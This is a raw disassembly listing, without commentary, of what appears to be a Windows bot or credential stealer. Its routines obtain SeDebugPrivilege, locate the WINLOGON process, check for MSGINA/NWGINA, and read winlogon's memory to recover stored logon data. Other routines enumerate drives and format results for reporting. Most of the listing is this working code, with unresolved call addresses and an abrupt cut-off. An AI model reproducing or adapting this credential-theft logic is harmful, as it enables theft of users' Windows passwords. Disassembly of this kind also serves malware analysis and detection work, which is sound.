sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2640BE8h cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26C0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22A923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2329563h, 75C08590h dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0DCE89056h, 85023294h, 56B175C0h, 90EEE890h dd 458B0231h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2680BAAh mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27704B3h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26C0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 2780000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 2780000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26608C0h cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27A020Dh push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2790BCFh test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 2740000h nop test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 273086Bh nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2780000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 2640897h pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26608C0h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27A020Dh nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 2790BCFh nop test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 2790000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27A0000h nop test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2780000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 2640897h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2640897h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 2790000h nop mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call 